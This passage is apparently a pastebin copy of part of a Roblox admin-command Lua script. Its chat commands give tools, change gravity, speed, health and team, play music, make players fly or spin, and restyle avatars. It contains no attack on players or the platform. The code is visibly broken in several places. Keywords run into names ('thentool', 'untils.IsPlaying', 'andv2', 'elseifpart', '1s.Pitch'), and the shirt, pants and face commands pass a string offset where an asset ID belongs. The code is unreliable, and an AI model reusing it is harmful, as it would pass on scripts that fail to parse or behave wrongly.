  1072. if msg:lower():sub(1,7) == "fogend " then
  1073. game.Lighting.FogEnd = msg:sub(8)
  1074. end
  1075.  
  1076. if msg:lower():sub(1,9) == "fogstart " then
  1077. game.Lighting.FogStart = msg:sub(10)
  1078. end
  1079.  
  1080. if msg:lower():sub(1,7) == "btools " then
  1081. local plrz = GetPlr(plr, msg:lower():sub(8))
  1082. for i, v in pairs(plrz) do
  1083. coroutine.resume(coroutine.create(function()
  1084. if v and v:findFirstChild("Backpack") then
  1085. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1086. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1087. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1088. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1089. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1090. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1091. local sb
  1092. local hs
  1093. local pdist
  1094.  
  1095. script.Parent.Selected:connect(function(mouse)
  1096. if not mouse then return end
  1097. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1098. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1099. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1100. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1101. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1102. end)
  1103.  
  1104. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1105. end
  1106. end))
  1107. end
  1108. end
  1109.  
  1110. if msg:lower():sub(1,5) == "give " then
  1111. local chk1 = msg:lower():sub(6):find(" ") + 5
  1112. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1113. for i, v in pairs(plrz) do
  1114. coroutine.resume(coroutine.create(function()
  1115. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1116. for a, tool in pairs(game.Lighting:children()) do
  1117. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1118. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 thentool:Clone().Parent = v.Backpack end
  1119. end
  1120. end
  1121. end
  1122. end))
  1123. end
  1124. end
  1125.  
  1126. if msg:lower():sub(1,12) == "removetools " then
  1127. local plrz = GetPlr(plr, msg:lower():sub(13))
  1128. for i, v in pairs(plrz) do
  1129. coroutine.resume(coroutine.create(function()
  1130. if v and v.Character and v:findFirstChild("Backpack") then
  1131. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy()end end
  1132. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy()end end
  1133. end
  1134. end))
  1135. end
  1136. end
  1137.  
  1138. if msg:lower():sub(1,5) == "rank " then
  1139. local chk1 = msg:lower():sub(6):find(" ") + 5
  1140. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1141. for i, v in pairs(plrz) do
  1142. coroutine.resume(coroutine.create(function()
  1143. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1144. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1145. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1146. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1147. end
  1148. end))
  1149. end
  1150. end
  1151.  
  1152. if msg:lower():sub(1,7) == "damage " then
  1153. local chk1 = msg:lower():sub(8):find(" ") + 7
  1154. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1155. for i, v in pairs(plrz) do
  1156. coroutine.resume(coroutine.create(function()
  1157. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1158. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1159. end
  1160. end))
  1161. end
  1162. end
  1163.  
  1164. if msg:lower():sub(1,5) == "grav " then
  1165. local plrz = GetPlr(plr, msg:lower():sub(6))
  1166. for i, v in pairs(plrz) do
  1167. coroutine.resume(coroutine.create(function()
  1168. if v and v.Character and v.Character:findFirstChild("Torso") then
  1169. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1170. end
  1171. end))
  1172. end
  1173. end
  1174.  
  1175. if msg:lower():sub(1,8) == "setgrav " then
  1176. local chk1 = msg:lower():sub(9):find(" ") + 8
  1177. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1178. for i, v in pairs(plrz) do
  1179. coroutine.resume(coroutine.create(function()
  1180. if v and v.Character and v.Character:findFirstChild("Torso") then
  1181. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1182. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1183. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force -Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force -Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1184. end
  1185. end))
  1186. end
  1187. end
  1188.  
  1189. if msg:lower():sub(1,7) == "nograv " then
  1190. local plrz = GetPlr(plr, msg:lower():sub(8))
  1191. for i, v in pairs(plrz) do
  1192. coroutine.resume(coroutine.create(function()
  1193. if v and v.Character and v.Character:findFirstChild("Torso") then
  1194. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1195. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1196. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force +Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force +Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1197. end
  1198. end))
  1199. end
  1200. end
  1201.  
  1202. if msg:lower():sub(1,7) == "health " then
  1203. local chk1 = msg:lower():sub(8):find(" ") + 7
  1204. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1205. for i, v in pairs(plrz) do
  1206. coroutine.resume(coroutine.create(function()
  1207. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1208. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1209. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1210. end
  1211. end))
  1212. end
  1213. end
  1214.  
  1215. if msg:lower():sub(1,6) == "speed " then
  1216. local chk1 = msg:lower():sub(7):find(" ") + 6
  1217. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1218. for i, v in pairs(plrz) do
  1219. coroutine.resume(coroutine.create(function()
  1220. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1221. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1222. end
  1223. end))
  1224. end
  1225. end
  1226.  
  1227. if msg:lower():sub(1,5) == "team " then
  1228. local chk1 = msg:lower():sub(6):find(" ") + 5
  1229. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1230. for i, v in pairs(plrz) do
  1231. coroutine.resume(coroutine.create(function()
  1232. if v and game:findFirstChild("Teams") then
  1233. for a, tm in pairs(game.Teams:children()) do
  1234. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1235. end
  1236. end
  1237. end))
  1238. end
  1239. end
  1240.  
  1241. if msg:lower():sub(1,6) == "place " then
  1242. local chk1 = msg:lower():sub(7):find(" ") + 6
  1243. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1244. for i, v in pairs(plrz) do
  1245. coroutine.resume(coroutine.create(function()
  1246. if v and v:findFirstChild("PlayerGui") then
  1247. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] ..msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1248. end
  1249. end))
  1250. end
  1251. end
  1252.  
  1253. if msg:lower():sub(1,3) == "tp " then
  1254. local chk1 = msg:lower():sub(4):find(" ") + 3
  1255. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1256. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1257. for i, v in pairs(plrz) do
  1258. coroutine.resume(coroutine.create(function()
  1259. for i2, v2 in pairs(plrz2) do
  1260. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") andv2.Character:findFirstChild("Torso") then
  1261. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1262. end
  1263. end
  1264. end))
  1265. end
  1266. end
  1267.  
  1268. if msg:lower():sub(1,7) == "change " then
  1269. local chk1 = msg:lower():sub(8):find(" ") + 7
  1270. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1271. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1272. for i, v in pairs(plrz) do
  1273. coroutine.resume(coroutine.create(function()
  1274. if v and v:findFirstChild("leaderstats") then
  1275. for a, st in pairs(v.leaderstats:children()) do
  1276. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1277. end
  1278. end
  1279. end))
  1280. end
  1281. end
  1282.  
  1283. if msg:lower():sub(1,6) == "shirt " then
  1284. local chk1 = msg:lower():sub(7):find(" ") + 6
  1285. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1286. for i, v in pairs(plrz) do
  1287. coroutine.resume(coroutine.create(function()
  1288. if v and v.Character then
  1289. for i,v in pairs(v.Character:children()) do
  1290. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1291. end
  1292. end
  1293. end))
  1294. end
  1295. end
  1296.  
  1297. if msg:lower():sub(1,6) == "pants " then
  1298. local chk1 = msg:lower():sub(7):find(" ") + 6
  1299. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1300. for i, v in pairs(plrz) do
  1301. coroutine.resume(coroutine.create(function()
  1302. if v and v.Character then
  1303. for i,v in pairs(v.Character:children()) do
  1304. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1305. end
  1306. end
  1307. end))
  1308. end
  1309. end
  1310.  
  1311. if msg:lower():sub(1,5) == "face " then
  1312. local chk1 = msg:lower():sub(6):find(" ") + 5
  1313. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1314. for i, v in pairs(plrz) do
  1315. coroutine.resume(coroutine.create(function()
  1316. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1317. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1318. end
  1319. end))
  1320. end
  1321. end
  1322.  
  1323. ------------------
  1324. -- Fun Commands --
  1325. ------------------
  1326. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1327.  
  1328. if msg:lower():sub(1,8) == "swagify " then
  1329. local plrz = GetPlr(plr, msg:lower():sub(9))
  1330. for i, v in pairs(plrz) do
  1331. coroutine.resume(coroutine.create(function()
  1332. if v and v.Character then
  1333. for i,v in pairs(v.Character:children()) do
  1334. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate ="http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1335. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate ="http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1336. end
  1337. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1338. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1339. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1340. local torso = plr.Character.Torso
  1341. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1342. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1343. p.Size = Vector3.new(.2,.2,.2)
  1344. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1345. local motor1 = Instance.new("Motor", p)
  1346. motor1.Part0 = p
  1347. motor1.Part1 = torso
  1348. motor1.MaxVelocity = .01
  1349. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1350. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1351. local wave = false
  1352. repeat wait(1/44)
  1353. local ang = 0.1
  1354. local oldmag = torso.Velocity.magnitude
  1355. local mv = .002
  1356. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1357. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1358. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1359. motor1.DesiredAngle = -ang
  1360. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1361. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1362. if torso.Velocity.magnitude < .1 then wait(.1) end
  1363. until not p or p.Parent ~= torso.Parent
  1364. script:Destroy()
  1365. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1366. end
  1367. end))
  1368. end
  1369. end
  1370.  
  1371. if msg:lower():sub(1,6) == "music " then
  1372. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1373. local id = msg:sub(7)
  1374. local pitch = 1
  1375. if tostring(id):lower():find("caramell") then id = 2303479 end
  1376. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1377. if tostring(id):find("rick") then id = 2027611 end
  1378. if tostring(id):find("halo") then id = 1034065 end
  1379. if tostring(id):find("pokemon") then id = 1372261 end
  1380. if tostring(id):find("cursed") then id = 1372257 end
  1381. if tostring(id):find("extreme") then id = 11420933 end
  1382. if tostring(id):find("awaken") then id = 27697277 end
  1383. if tostring(id):find("alone") then id = 27697392 end
  1384. if tostring(id):find("mario") then id = 1280470 end
  1385. if tostring(id):find("choir") then id = 1372258 end
  1386. if tostring(id):find("chrono") then id = 1280463 end
  1387. if tostring(id):find("dotr") then id = 11420922 end
  1388. if tostring(id):find("entertain") then id = 27697267 end
  1389. if tostring(id):find("fantasy") then id = 1280473 end
  1390. if tostring(id):find("final") then id = 1280414 end
  1391. if tostring(id):find("emblem") then id = 1372259 end
  1392. if tostring(id):find("flight") then id = 27697719 end
  1393. if tostring(id):find("banjo") then id = 27697298 end
  1394. if tostring(id):find("gothic") then id = 27697743 end
  1395. if tostring(id):find("hiphop") then id = 27697735 end
  1396. if tostring(id):find("intro") then id = 27697707 end
  1397. if tostring(id):find("mule") then id = 1077604 end
  1398. if tostring(id):find("film") then id = 27697713 end
  1399. if tostring(id):find("nezz") then id = 8610025 end
  1400. if tostring(id):find("angel") then id = 1372260 end
  1401. if tostring(id):find("resist") then id = 27697234 end
  1402. if tostring(id):find("schala") then id = 5985787 end
  1403. if tostring(id):find("organ") then id = 11231513 end
  1404. if tostring(id):find("tunnel") then id = 9650822 end
  1405. if tostring(id):find("spanish") then id = 5982975 end
  1406. if tostring(id):find("venom") then id = 1372262 end
  1407. if tostring(id):find("wind") then id = 1015394 end
  1408. if tostring(id):find("guitar") then id = 5986151 end
  1409. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() untils.IsPlaying
  1410. end
  1411.  
  1412. if msg:lower() == "stopmusic" then
  1413. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1414. end
  1415.  
  1416. if msg:lower() == "musiclist" then
  1417. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1418. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1419. local list ={"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1420. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position =UDim2.new(0,0,0,num*20) num = num +1 end
  1421. end
  1422.  
  1423. if msg:lower():sub(1,4) == "fly " then
  1424. local plrz = GetPlr(plr, msg:lower():sub(5))
  1425. for i, v in pairs(plrz) do
  1426. coroutine.resume(coroutine.create(function()
  1427. if v and v:findFirstChild("PlayerGui") then
  1428. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1429. cl.Parent = v.PlayerGui cl.Disabled = false
  1430. end
  1431. end))
  1432. end
  1433. end
  1434.  
  1435. if msg:lower():sub(1,6) == "unfly " then
  1436. local plrz = GetPlr(plr, msg:lower():sub(7))
  1437. for i, v in pairs(plrz) do
  1438. coroutine.resume(coroutine.create(function()
  1439. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") andv.Character:findFirstChild("Humanoid") then
  1440. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1441. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" thenq:Destroy() end end
  1442. wait(.1) v.Character.Humanoid.PlatformStand = false
  1443. end
  1444. end))
  1445. end
  1446. end
  1447.  
  1448. if msg:lower() == "disco" then
  1449. for i, v in pairs(lobjs) do v:Destroy() end
  1450. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1451. game.Lighting.Ambient = color
  1452. game.Lighting.FogColor = color
  1453. until nil]]
  1454. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1455. end
  1456.  
  1457. if msg:lower() == "flash" then
  1458. for i, v in pairs(lobjs) do v:Destroy() end
  1459. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1460. game.Lighting.Ambient = Color3.new(1,1,1)
  1461. game.Lighting.FogColor = Color3.new(1,1,1)
  1462. game.Lighting.Brightness = 1
  1463. game.Lighting.TimeOfDay = 14
  1464. wait(.1)
  1465. game.Lighting.Ambient = Color3.new(0,0,0)
  1466. game.Lighting.FogColor = Color3.new(0,0,0)
  1467. game.Lighting.Brightness = 0
  1468. game.Lighting.TimeOfDay = 0
  1469. until nil]]
  1470. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1471. end
  1472.  
  1473. if msg:lower():sub(1,5) == "spin " then
  1474. local plrz = GetPlr(plr, msg:lower():sub(6))
  1475. for i, v in pairs(plrz) do
  1476. coroutine.resume(coroutine.create(function()
  1477. if v and v.Character and v.Character:findFirstChild("Torso") then
  1478. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1479. local torso = v.Character:findFirstChild("Torso")
  1480. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P =11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1481. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1482. until not bg or bg.Parent ~= torso
  1483. end
  1484. end))
  1485. end
  1486. end
  1487.  
  1488. if msg:lower():sub(1,7) == "unspin " then
  1489. local plrz = GetPlr(plr, msg:lower():sub(8))
  1490. for i, v in pairs(plrz) do
  1491. coroutine.resume(coroutine.create(function()
  1492. if v and v.Character and v.Character:findFirstChild("Torso") then
  1493. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1494. end
  1495. end))
  1496. end
  1497. end
  1498.  
  1499. if msg:lower():sub(1,4) == "dog " then
  1500. local plrz = GetPlr(plr, msg:lower():sub(5))
  1501. for i, v in pairs(plrz) do
  1502. coroutine.resume(coroutine.create(function()
  1503. if v and v.Character and v.Character:findFirstChild("Torso") then
  1504. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1505. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1506. v.Character.Torso.Transparency = 1
  1507. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1508. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1509. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1510. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1511. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1512. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface =0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1513. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1514. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 =CFrame.new(0,-.5,0)
  1515. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor =BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown")end end
  1516. end
  1517. end))
  1518. end
  1519. end
  1520.  
  1521. if msg:lower():sub(1,6) == "undog " then
  1522. local plrz = GetPlr(plr, msg:lower():sub(7))
  1523. for i, v in pairs(plrz) do
  1524. coroutine.resume(coroutine.create(function()
  1525. if v and v.Character and v.Character:findFirstChild("Torso") then
  1526. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1527. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1528. v.Character.Torso.Transparency = 0
  1529. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1530. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1531. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1532. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1533. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1534. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor =BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag")then part.Head.BrickColor = BrickColor.new("White") end end
  1535. end
  1536. end))
  1537. end
  1538. end
  1539.  
  1540. if msg:lower():sub(1,8) == "creeper " then
  1541. local plrz = GetPlr(plr, msg:lower():sub(9))
  1542. for i, v in pairs(plrz) do
  1543. coroutine.resume(coroutine.create(function()
  1544. if v and v.Character and v.Character:findFirstChild("Torso") then
  1545. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1546. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1547. v.Character.Torso.Transparency = 0
  1548. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1549. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1550. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1551. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1552. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1553. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor =BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseifpart:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1554. end
  1555. end))
  1556. end
  1557. end
  1558.  
  1559. if msg:lower():sub(1,10) == "uncreeper " then
  1560. local plrz = GetPlr(plr, msg:lower():sub(11))
  1561. for i, v in pairs(plrz) do
  1562. coroutine.resume(coroutine.create(function()
  1563. if v and v.Character and v.Character:findFirstChild("Torso") then
  1564. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1565. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1566. v.Character.Torso.Transparency = 0
  1567. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1568. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
